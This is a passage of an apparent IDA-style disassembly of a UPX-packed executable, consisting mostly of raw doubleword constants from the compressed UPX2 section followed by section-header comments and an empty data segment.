0F1726D80h, 83725AB6h, 0C0E388F8h, 0B0A03A99h dd 0F0E0D0C0h, 30201000h, 70605040h, 0B0A09080h, 0F0E0D0C0h dd 30201000h, 70605040h, 0B0A09080h, 0F0E0D0C0h, 30201000h dd 70605040h, 0B0A09080h, 0F0E0D0C0h, 30201000h, 70605040h dd 0B0A09080h, 0F0E0D0C0h, 30201000h, 0F3005040h, 869F2C25h dd 5563D0C0h, 30162FC0h, 33D75F40h, 0A8F31D94h, 0F6AB67CFh dd 74ABC003h, 324B7464h, 8BB9E28Ch, 0E493D882h, 1B34528Bh dd 0E5E95C02h, 0B096AF3Ch, 0CF205549h, 35CB1036h, 924892C3h dd 0B462F159h, 0BC6558C0h, 0D8202624h, 70605024h, 0B0A08FE8h dd 89655DC0h, 69202623h, 7C144879h, 52A45003h, 6C652F37h dd 0F320263Fh, 0FD6389B7h, 0B096B4CCh, 801FC023h, 0B3209FFCh dd 868254A8h, 93D90D09h, 0CA63D0F6h, 1B256400h, 60125372h dd 0E85CDE0Dh, 0CA638E9Bh, 0CF246400h, 8F63BB72h, 0E74880F2h dd 0DB1F2F3Fh, 0F0AD3BCEh, 2860667Fh, 7394DB83h, 0CF40554Fh dd 0B5E71036h, 70566FDCh, 0B0A09080h, 0F0E0EC28h, 0ACA59B00h dd 9860667Fh, 4F5F6630h, 0F0E0C828h, 0AC9D9300h, 7060667Fh dd 2D2998F5h, 0F0D6F335h, 0BDDF8CEBh, 70566FDCh, 10251F43h dd 79E0E6FFh, 61F8C95h, 7063B840h, 79939080h, 70735B03h dd 62201000h, 8F9EBDA8h, 7035937Fh, 0F3E0E6FFh, 3C5A93D6h dd 77E45F40h, 33A09081h, 0FFE0C0BAh, 3020ED84h, 7C22DB40h dd 4E6878D0h, 75E32F3Fh, 30162FC0h, 0FA309643h, 0B0591088h dd 960C9B4h, 7023642Eh, 38EBA1ABh, 6F411181h, 713F0F1Fh dd 7C6C54F9h, 298C2540h, 492358ABh, 476FDF3Ah, 56201000h dd 439E28C1h, 1B259FB2h, 0A6E0D0C0h, 45202A83h, 602ADB45h dd 0BA2B926Bh, 18B121C3h, 0CFDFEE72h, 4FA0E543h, 350D90B6h dd 0FF1BA800h, 30209484h, 0B0D5AF40h, 0E0A0A6BFh, 0F1E8528h dd 0F0A513FFh, 0FF60667Fh, 869F5005h, 0D4E4D3C0h, 32E09353h dd 0C66F8B73h, 30B27388h, 31B3F009h, 19243424h, 7C49745Ch dd 5BE0CBA4h, 0FF1B5129h, 44FDABD7h, 0D89BD17Eh, 0C47BFEC5h dd 0A91B51F6h, 44DFB13Bh, 0A69BD16Eh, 0C40C25A2h, 631B51E6h dd 44D348E9h, 0D9BD15Eh, 0C453C869h, 0B61B51D6h, 44C1353Fh dd 409BD14Eh, 0C441B5BFh, 50752FC6h, 6B20263Fh, 8F9F21A9h dd 7223CE7Fh, 0E0F39D4h, 30E3EFFFh, 9838542Ah, 4F5F65D0h dd 0D6C64548h, 88461036h, 92624871h, 0B2A37440h, 9A4BB622h dd 5C84806h, 0F39FAFB5h, 61279842h, 18B8D5AAh, 0CFDFE528h dd 363AAC0h, 0B2F0208Bh, 0C6C6F645h, 17CBBA00h, 0DA38382Ah dd 0C5A36A00h, 18F160D8h, 0CFDFE508h, 706051F8h, 0C4721480h dd 0E0001CDh, 0DBD6FBCAh, 7060E845h, 520B1080h, 656D137Fh dd 30162898h, 0AA97876Bh, 3B256743h, 0F0E0E6F8h, 3F281000h dd 90A190D5h, 3925668Bh, 0F1E0E6F8h, 3D461675h, 638B75C9h dd 88291576h, 85E2D0F6h, 12D7606h, 1664BB65h, 0D685918Dh dd 0F5C386Bh, 73ABEFFFh, 0C4F5D974h, 1BA0A6BFh, 7B652703h dd 30202638h, 7F685040h, 0CA45015h, 0F7C386Ah, 0A5A9EFFFh dd 70566FF8h, 88291576h, 85E1D0F6h, 0DB111F04h, 0DBA07B42h dd 3B256743h, 0F0E0E6F8h, 44281000h, 0F5E5DA67h, 71A0A6B8h dd 0FD86DB20h, 9B46558Bh, 0FACAA8F0h, 86981505h, 0EB0011C0h dd 0B9447705h, 0B053FB46h, 0A24B3BE6h, 0F56FB478h, 0B5AABB00h dd 705668C5h, 5061C884h, 40237BD8h, 5600FBFCh, 1660BBF8h dd 0DAB97B2Bh, 0E90888C4h, 0BDDFEFF4h, 90A18244h, 39A5F688h dd 1B4BB600h, 9AB0A003h, 9838522Ah, 4F5F6480h, 0C2940244h dd 0D878186Ah, 8F9FA3B4h, 73D25A7Eh, 3A1E15B4h, 0FADED974h dd 0BA9E8B34h, 7A5E9CF4h, 3A1EDCB4h, 0C9901C74h, 8DD09DABh dd 4510596Bh, 850152Bh, 0BDE3D1EBh, 4658C8FDh, 3B256780h dd 0F0E0E6F8h, 44A01000h, 0DA00E043h, 882B1577h, 0F0E0D0F6h dd 37541800h, 9CEB05F8h, 47EF3B80h, 0C6D85B45h, 30201300h dd 0A7E45F41h, 0A09080h, 794B7A28h, 61FB4BDh, 0DA88E040h dd 181D192Bh, 7E0E6FFh, 6189B85h, 70605340h, 47B5E480h dd 0C6D85B45h, 30201000h dd 98652441h, 4F5F6E41h, 5B4A3970h, 0F84958Bh, 0BFEB5076h dd 0D2958ABh, 0F0D6EF6Ch, 88DC5889h, 469F3427h, 0D660A32Bh dd 7B65276Bh, 33202638h, 4605040h, 3925668Eh, 70E0E6F8h dd 72C81574h, 0C89FAFBEh, 9629F4E7h, 9620E36Bh, 0BBA5E7ABh dd 73606678h, 0C4A09080h, 79652695h, 0B0202638h, 6E885535h dd 585F6F7Eh, 0F1F2D64h, 86C830B0h, 939FAFBBh, 4F18F6B9h dd 614BB6D5h, 0BBB59BABh, 87606678h, 0B3626752h, 85E0D0C0h dd 0CD5EF814h, 6FD0AFBFh, 4F5B0068h, 0F58B63Fh, 0A18B7615h dd 0FBAFDBEBh, 869F3C05h, 7928FBC0h, 0B5D7EC48h, 705668CBh dd 0B0A09083h, 7517FEB4h, 3016288Bh, 76605040h, 3557B2F4h dd 0F0D6E84Bh, 31201000h, 82885535h, 475F6F7Dh, 0C6D85B45h dd 30201000h, 98652444h, 4F5F6E8Dh, 0C86B5537h, 30241036h dd 67145040h, 4F5EF768h, 30C9683Fh, 888BD8FEh, 74149048h dd 48D5282Bh, 74BB72Bh, 6189B85h, 70605840h, 30EFE580h dd 0C6D8597Dh, 76541000h, 8F9E6BA8h, 0A889287Fh, 55EA19E9h dd 30162885h, 7A63B480h, 86981525h, 41507BC0h, 0B9A59AAAh dd 0DA606678h, 35AAD030h, 0F0D6E845h, 0D29876AAh, 0FBE5A7BDh dd 0A0A0A6B8h, 84E0D0C0h, 9A69A007h, 8C15E826h, 58103BE6h dd 5B20E36Ah, 0FB0AD89h, 0F5975076h, 0B096A80Bh, 0F0E0D0E0h dd 68901975h, 48E3D54Ah, 0D60A90B6h, 7205178h, 6189B85h dd 70601040h, 30A3E480h, 55EAF804h, 30162883h, 0CDE9FB26h dd 0B096AF14h, 7B65276Bh, 30202638h, 5205040h, 0B2F02089h dd 0C6D85345h, 0B5D7BA00h, 705668CBh, 0B0A09000h, 4850DBB5h dd 8A4950Ah, 9BCA5076h, 8118F6BDh, 7B6527D8h, 30202638h dd 4605041h, 0BA892082h, 0C6D85465h, 33C4D000h, 48E4F54Ah dd 1BC690B6h, 6168A6h, 8AB95F7h, 72605076h, 0B2D59080h dd 55EA1874h, 30162884h, 0CDE9FB26h, 0B096AF30h, 0F0C84878h dd 0B5D7BB00h, 705668CBh, 0B0A09088h, 0C108A1B4h, 0C7DFEFFDh dd 4658DBC5h, 0B0A49080h, 40EBA5C0h, 0B5A51AB8h, 0DA606678h dd 3557DD6Bh, 0F0D6E84Bh, 30201800h, 0C8064135h, 15AA7003h dd 0F0D6E845h, 0F013BB66h, 1675BBEAh, 0BAB8B938h, 0C6D85565h dd 33C4D000h, 48E5F54Ah, 1BC690B6h, 0C86B5537h, 20201036h dd 0C8065040h, 0B3D45001h, 0FAE81440h, 61895A5h, 7FCB3640h dd 88291536h, 184BD0F6h, 0CFDFECC0h, 48EBD5B7h, 0B0A090B6h dd 0F99490C0h, 0B52240B0h, 705668C3h, 3B25672Ah, 0F0E0E6F8h dd 80201020h, 746225C6h, 4EEF1D84h, 0C863754Ah, 0BDA91036h dd 70566FD8h, 4C203BE6h, 40E7A5C5h, 0CF6F9000h, 988FA00h dd 475F6F7Ch, 0C6D85B45h, 30601000h, 16D83640h, 4A2E5B1h dd 404BB6E9h, 0B5A51A18h, 0B0606678h, 580A9360h, 0F1F2C94h dd 0B5D798B0h, 705668CBh, 0B0A01080h, 7650D2B5h, 8A3B58Ah dd 0DB065076h, 0C5A56C00h, 70E060C7h, 9A60EF4Fh, 8F9C7BA8h dd 3B25677Fh, 0F0E0E6F8h, 45201100h, 7A20E04Bh, 86981305h dd 0FF0B7AC0h, 0F0A3A866h, 48E3F54Ah, 1BC690B6h, 74AD170h dd 6189B85h, 72605040h, 478FE580h, 0C6D85B45h, 34201000h dd 0C07A2540h, 35259A40h, 7AE0E6F8h, 6189AA5h, 60809140h dd 31C628E6h, 1BE0606Bh, 3A60A008h, 4658D5C5h, 35573A80h dd 0F0D6E84Bh, 30281000h, 0C8064035h, 15AA7803h, 0F0D6E844h dd 3190BB66h, 38D058ABh, 8824158Ah, 74AD0F6h, 6189B85h dd 60605040h, 0C5D52180h, 7358B6E5h, 0B4851AF8h, 16606678h dd 1A60A32Bh, 0CF786DE9h, 0B5D71036h, 705668CBh, 0B0809080h dd 8751CFB5h, 88460BEBh, 0D56A4849h, 0B096A804h, 0FAE33400h dd 61894A5h, 59CB3640h, 869F083Dh, 7A215AC0h, 61F88A5h dd 0C0CB3640h, 332592D8h, 5AE0E6F8h, 8AB95F7h, 70635076h dd 92D49180h, 0C86B5537h, 30201036h, 66155440h, 882B1577h dd 0F0E0D0F6h, 35551300h, 8F9AD4A8h, 4A0B787Fh, 75172F3Fh dd 3016288Bh, 78605040h, 791093F4h, 7B65276Ah, 30202638h dd 4E05040h, 9AA720A0h, 0C6D85345h, 2AC0D100h, 5468D94Dh dd 33059280h, 30E0E6F8h, 0F4A013E4h, 11D0FB44h, 4F18F62Ah dd 7345DA20h, 56202638h, 0FBE5A7EBh, 90A0A6B8h, 84E0D0C0h dd 0BBA5E753h, 70606678h, 0C4809080h, 0F32727CDh, 44201000h dd 0DAF0E045h, 772B636Bh, 0CF705D4Bh, 0F10B1036h, 0C09C11C9h dd 33259AD8h, 5AE0E6F8h, 8AB95F7h, 70605076h, 0BCD490C0h dd 33B068A6h, 8A3950Ah, 7A8B5076h, 505F28E6h, 0C86375CAh dd 9B461036h, 48EBD5B7h, 0B0A390B6h, 8394D1C0h, 8AB95F7h dd 70605076h, 0BDD4B080h, 0F0E31737h, 35541000h, 9BCAC0F0h dd 3B6F1B73h, 0C6DF7845h, 0B9E83B00h, 0B953AC08h, 882B1577h dd 0F0E0D0F6h, 3E551080h, 48E3D5CDh, 0B82A90B6h, 0F3195080h dd 34ADE873h, 6044148Dh, 0B8405180h, 134B5B70h, 1987606h dd 16CB3680h, 0D8201F38h, 0F0E0D078h, 9B46F102h, 0B9E5FB18h dd 8C696F5h, 5B8610F1h, 0BD8AD3B0h, 4658C8C5h, 3B256780h dd 0F0E0E6F8h, 45301000h, 884B0746h, 3BB97BD8h, 8CBF893h dd 0BDABC02Bh, 70566FF0h, 8F300581h, 0C9E1D0F6h, 3404548Bh dd 6008EDC9h, 0D2B90B6h, 0F0D6EF54h, 0FB0952Bh, 0F5975076h dd 0B096A80Bh, 0F0E0D080h, 0E8D71274h, 706492EBh, 0D23C7D6h dd 0F0D6EF08h, 0E9A41F00h, 98605041h, 0B0A0908Dh, 0BEB2958Bh dd 2135C45h, 3C2C146Eh, 0CA356F80h, 79E0E6FBh, 61FCC85h dd 28EB0340h, 4F7893BCh, 0B36BF8B3h, 0C5C0F834h, 0E5EBAFBFh dd 0B096AF3Ch, 0FCA2D39Bh, 0FC09589h, 32635076h, 54251988h dd 7BE0E6FFh, 83DF3873h, 706050C0h, 4F552968h, 4C5D5B3Fh dd 6620263Fh, 8F95FDA8h, 0C351B7Fh, 7BE0E6FFh, 7A23184Ah dd 0F3AE7B4Ch, 38AF9569h, 0F0E0D1A0h, 317A940Fh, 0C5635040h dd 0B096AF40h, 0CF6065C3h, 0C8C1036h, 0D2E55FA8h, 3DA09080h dd 75CBD486h, 30162F80h, 98305643h, 4F5F65EAh, 0CF5C6D43h dd 45201036h, 7C276B4Bh, 0B1BB138Fh, 0FC0BD0C0h, 0F9C8539h dd 0F56F5076h, 0B0A0918Dh, 0CF6055C3h, 0B1461036h, 7F45AF78h dd 0B0A06C05h, 0F2A05BC0h, 6014532Bh, 8F957DA8h, 0C1DA97Fh dd 0FFE0E6FFh, 3020F485h, 0B0E55340h, 0B3A0A6BFh, 0C6DF5045h dd 1B209B00h, 0F26F5C07h, 0B0A0904Dh, 0FFE897FBh, 3020D483h dd 72A0D340h, 0B3B4D783h, 0C6DF5045h, 0CF704200h, 465F8CF5h dd 8A356F80h, 0AAE0E6FBh, 0B52FD085h, 706050F7h, 0B0A00C69h dd 0FF1FECC0h, 30208485h, 655ED040h, 0B02B158Fh, 0B66BD0C0h dd 4633B01h, 84DCB810h, 0D996F7Fh, 0F0D6EF7Ch, 0B5236775h dd 70566F80h, 8F201583h, 7569D0F6h, 30162FE8h, 0F55B50CBh dd 0B096AF60h, 75DBD8B2h, 30162FE4h, 705D3932h, 0C2D09080h dd 0F0FF38F7h, 7EAD1000h, 5BA1DBBCh, 0A0E29382h, 0CF0855FBh dd 3C551036h, 8F7094C3h, 94E41FB1h, 0EB0BB1DCh, 90A59FC3h dd 1060667Fh, 8F20250Bh, 0AA08D0F6h, 51DFEFF5h, 706050E9h dd 9BAEE500h, 0F992DC87h, 3F28573Bh, 8F9F6CC2h, 35AFD97Fh dd 0F1F2E72h, 0B1042C8Bh, 7048DBE7h, 4F5F6F80h, 71A23BBFh dd 3040344Ah, 432EB040h, 94AC1B40h, 0CF285547h, 0B5A91036h dd 70566F84h, 982F290Dh, 75E3D0C0h, 30162F80h, 3EC5F526h dd 0F2A356ABh, 0FCA2FBD4h, 0D8DB56C6h, 7033D187h, 0B0A59080h dd 0B669D0C0h, 0F37E4FFCh dd 0F6F5AF17h, 71A0A6BBh, 75EFCF28h, 3020111Ah, 580A0410h dd 255F6FEAh, 0F0D6EB26h, 3F7FD085h, 706155C8h, 55FA7880h dd 0E1082F3Fh, 63201000h, 19262425h, 0D5F3F5ECh, 9992A5A3h dd 30616974h, 4F34E5BFh, 255F90B6h, 0F0D6EBFAh, 0F7C9589h dd 69885076h, 0E3A09080h, 9B8184A5h, 5E575F65h, 18132225h dd 0C2F0E0E9h, 9C89A6A9h, 30457765h, 994BB817h, 0A3486F7Fh dd 0A3E0D0C0h, 43454265h, 15123F34h, 0C6C9E2D0h, 9785BCA9h dd 0D8771065h, 8F9FB94Dh, 0B0A08268h, 0B28583C0h, 454B7361h dd 19120030h, 0D5CCF9F6h, 0A7E0B5A7h, 0CFC8E0E8h, 7078B8BFh dd 0D5F39080h, 9E81B883h, 5F6E7567h, 9063934h, 0C6C9E2D0h dd 9785BCA9h, 0D8771065h, 8F9FB88Dh, 352DC4D0h, 0F0D6EA58h dd 5A70746Ah, 0E59F0741h, 0B096AB72h, 0FC4EC49h, 61B3E95h dd 0FDA07A40h, 869EC03Dh, 0A0B080C0h, 0AB8A5FFh, 71085076h dd 0E4A09480h, 0FB7D1AAh, 61F4C95h, 740A0440h, 0EC356FD7h dd 73E0E6FFh, 85DF04C4h, 70566F14h, 8BCA057Fh, 33BFD0F6h dd 0E70A58Dh, 8F365076h, 869BFE15h, 0F1853C0h, 309B940Fh dd 0F5E95040h, 0B096AFE0h, 0FB6D0AAh, 61BBA95h, 7FA0D540h dd 0B0A03404h, 0A020FBC0h, 60237A50h, 7008512Ah, 0E6609080h dd 0CBAA453Fh, 0C8A31036h, 98E45FBFh, 39A09085h, 0C6DFB445h dd 58AD9D00h, 0FD60667Fh, 869FE015h, 9AB281C0h, 0A5DF4000h dd 70566B36h, 0BF5F6803h, 0F0E56644h, 0CF207A00h, 465F34F5h dd 0C2356F80h, 73E0E6FBh, 0B42FEFF8h, 706055DFh, 8FD81509h dd 39D3D0F6h, 6071D303h, 21643A11h, 8FC4257Fh, 651FD0F6h dd 30162B4Eh, 0F46F90C5h, 0B0A095FBh, 756919F3h, 30162F7Ch dd 18310111h, 0B0AF909Fh, 66752F90h, 0B520263Bh, 44E45F80h dd 39A09085h, 0C6DF5045h, 0DF98D300h, 0FB60502Fh, 3557A8CBh dd 0F0D6E84Bh, 20201000h, 0F5635635h, 0B09680E8h, 31E302F3h dd 0D1D7E1F7h, 4FECD5C9h, 271890B6h, 7BE0D0E8h, 0B5232C4Bh dd 70564028h, 71A342B3h, 11172137h, 0FA49589h, 7FA35076h dd 49A6DB37h, 0A36DE523h, 73971F18h, 39B05354h, 0B38851EBh dd 0AFDA5110h, 0C94E7977h, 0AE34D34h, 50D2918Ch, 7BDC9B4Bh dd 72230442h, 3824DD50h, 9379677Fh, 8865EB01h, 0F320263Fh dd 604404CBh, 322F50B3h, 0F0E0D078h, 0DBEF9BC3h, 20DDDD4Bh dd 4CA0A6BEh, 39D30F4Bh, 42412CACh, 71A6C46h, 1A80BC82h dd 1C948CFCh, 0ED543E3Ch, 9815507Ch, 0B12B5963h, 0B5B895FDh dd 0D2B6400h, 70321313h, 4F93158Fh, 0F36B2F3Fh, 7E69473Dh dd 56E45F03h, 8D5F6F7Fh, 0BEB59397h, 0CF3B940Fh, 275DAFBFh dd 0BF92A3C3h, 0F1FC044h, 63702DFFh, 0F46F1F14h, 4F5F6F85h dd 0DD080BF3h, 45DFEFFEh, 8C9AB850h, 91486F7Fh, 0FF1F2F3Eh dd 0CFDEFC84h, 98B263BFh, 0B0A09096h, 0F1FB328h, 3020F8FFh dd 0F13D5040h, 8693A96Dh, 0F33B39C0h, 0CF441000h, 0F0D5DB72h dd 0D4A0A6BFh, 7186F249h, 3F7A5D3Eh, 706394C5h, 8CFE1B80h dd 71860EC3h, 3F65403Bh, 7063E4C5h, 0A6E36780h, 0F0E0F0C0h dd 3387950Fh, 33965040h, 34AF92DCh, 0F0E0D35Dh, 0D28538Bh dd 0D0C0F0E0h, 0B32F148Fh, 0D0DDD0C0h, 3F003020h, 7063D4C4h dd 4E197880h, 72EF2F3Fh, 30201379h, 4FA4F5C3h, 3BA090B6h dd 0BA6BD882h, 43E13B10h, 9BA06344h, 39689385h, 7569C08Ah dd 30162F88h, 0C86C1A43h, 0B0A19080h, 174A3891h, 0A510EFFFh dd 705668C9h, 590B031h, 0F0D6E84Ah, 0F9DE306Ah, 98742818h dd 4F5F7710h, 64EF0245h, 1C2C3C2h, 4658DBD5h, 47457B80h dd 0C6D85B45h, 30201000h, 87422441h, 86981B05h, 0F0E0D3C0h dd 0B12C6500h, 4658DBE5h, 4F5F6F80h, 71EA3B3Bh, 6189B8Dh dd 70605040h, 0B0A6F888h, 98B9D0C0h, 30201006h, 9722B818h dd 352A6F7Fh, 0F0D6E843h, 0B30A9486h, 0F8606678h, 86981305h dd 70032C0h, 6189B85h, 70605840h, 30A9E580h, 0C6D8557Dh dd 0F5541100h, 48EBD5B7h, 0B0A090B6h, 0EB94D8C0h, 8A3AD80h dd 4655076h, 341D1030h, 0F5E0E6F8h, 8DA0B774h, 705668C5h dd 473EE485h, 0C6D85B45h, 30201000h, 0F06924C0h, 8698133Dh dd 7997D2C0h, 0FE8B583h, 98605076h, 4F5F6387h, 0F1DB128h dd 3250F8FFh, 0EDEB5040h, 0B096AF04h, 0CF684DC3h, 49C81036h dd 7F9FAFBCh, 0B0A2C004h, 70555BC0h, 0BB20263Fh, 0AE636C1Eh dd 4F5DEA68h, 0CA62DF3Fh, 0B1201002h, 7000740Ah, 4E2B7080h dd 8AE38692h, 205A1314h, 48EBD5B7h, 0B0A090B6h, 0E495C0C0h dd 0FECAD89h, 0C5ED5076h, 0B096A818h, 0E0885D4Bh, 94D31036h dd 7A46E917h, 52D9080h, 0F0D6C0C0h, 3091B5F3h, 0D49352A3h dd 882B1577h, 0F0E0D0F6h, 0B42F0000h, 706050EEh, 5888E37Fh dd 0F1F3E76h, 0F9C858Bh, 0A2E55076h, 0B038148Fh, 456BD0C0h dd 30162F80h, 0F1701ACBh, 0B0C0B4CAh, 0BACB30C0h, 3226308h dd 64125389h, 0A0C81DBBh, 7D6BD0F6h, 30160068h, 4CEB0632h dd 0D80513A4h, 0F0E0E6D0h, 3048B783h, 0FB605040h, 0FAA198FAh dd 7717D3C8h, 0A4A59BF7h, 8760667Fh, 86981B05h, 0F0E090C0h dd 0C7226400h, 7C125358h, 529A0A9h, 0F0D6EF08h, 3108638Bh dd 0FBE5A770h, 0F0A0A6B8h, 84E0D0C0h, 6138E702h, 8F9C19A8h dd 0BC4BC97Fh, 0DBC8A3C3h, 66711C72h, 293FF4B3h, 8838250Dh dd 4D69D0F6h, 30162FCCh, 2E3FF4B3h, 3D32A18Fh, 0F0E00447h dd 0B9B52A00h, 5606678h, 0C872F986h, 78F2E496h, 8BC8E050h dd 2A9FAF9Ah, 0B3ACDA0Bh, 7517C08Ah, 3016288Bh, 60605040h dd 0C5A5D10Dh, 386D59D3h, 3320263Fh, 467038C5h, 0D8071380h dd 0F0E0D0C0h, 0B908532Bh, 706003C7h, 0F8256780h, 0F1E0E6FCh dd 44201000h, 78239747h, 10003020h, 0C86B5537h, 30201036h dd 7714D040h, 47DA78D2h, 7BBA2F3Fh, 61FD88Dh, 0F965B340h dd 0BD4BB8CBh, 0CF245D4Bh, 32C31036h, 3BEB53ABh, 3B2567A8h dd 0F3E0E6F8h, 44201000h, 0BCE5DB54h, 0B3A0A6BFh, 0C6DF684Dh dd 84A51300h, 7160667Fh, 0A0EA1B88h, 0CF64554Bh, 7A191036h dd 0F9632348h, 0F2A198CAh, 0A88353D0h, 0BCA59B00h, 1860667Fh dd 0B0A0B818h, 0A9E892C1h, 0BA705301h, 4658D9D5h, 3B256780h dd 0F0E0E6F8h, 44301000h, 18ED5346h, 6A0A690h, 7B6527C0h dd 30202638h, 5605240h, 47666E94h, 0C6D85B45h, 34201000h dd 0FA662540h, 86981A35h, 7B6527C0h, 30202638h, 5605000h dd 0B2A71A8Bh, 26E27A02h, 39CBE7E2h, 0B25257CAh, 5276922Ah dd 9432E337h, 0BF44328Bh, 0CDE30842h, 0B096AFE4h, 2E64DFC0h dd 0CFDFEFFAh, 465FD0F5h, 0A356F80h, 0FE0E6FBh, 61F6CB5h dd 5EF5AF40h, 3DA0A6BBh, 0C6DFB84Dh, 40B59D00h, 2160667Fh dd 4FA0FAD2h, 0C6DFB475h, 9EB5EF00h, 8F60667Bh, 869FF435h dd 0DE752FC0h, 0BD20263Bh, 465E00F5h, 0D0156F80h, 0A6E0E6FFh dd 0B8A85FFh, 0D5E35076h, 0B096AFE4h, 0F00813C0h, 6D201000h dd 9DE1512Ah, 0B096A716h, 31EF2098h, 6356485h, 0B3A0D540h dd 405F5803h, 846511CFh, 0F3202615h, 5A60407Dh, 0D6BCE580h dd 0FCC4AC41h, 2355616Ch, 8FA4B820h, 0B5D56F7Fh, 0F1A0428h dd 0CFF2F8FFh, 5E01AFBFh, 0E6D8BD7Fh, 0D558C2F4h, 50201000h dd 8F9FF5A8h, 3B99E57Fh, 7DD0F484h, 61E40B5h, 7830DB40h dd 0B69A11E6h, 0A6C5A3C2h, 0CF201068h, 1AA4DB40h, 4FF0C280h dd 0C6DB2A55h, 38E49300h dd 4F3C6EC1h, 0B3D5CCBFh, 18E41643h, 0CFDFEA81h, 8F9F2FA8h dd 863F17Fh, 0F0E0D0B4h, 1F98A1EBh, 98605040h, 0B0A0909Dh dd 48E0F002h, 30201030h, 706040A8h, 0B0845280h, 0F0E15578h dd 3023F800h, 5CA25040h, 94F41D80h, 73CE1DCCh, 295C10F8h dd 7060B820h, 0E42B9080h, 7BBDE0E4h, 5DCD911Ah, 98606678h dd 4F5F7154h, 0F0E412A1h, 31271206h, 0A8D5345h, 2A396EEFh dd 103815FFh, 498D0100h, 15A8h dup(0) UPX2 ends ; Section 4. (virtual address 00027000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00027000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31627000h align 2000h _idata2 ends end start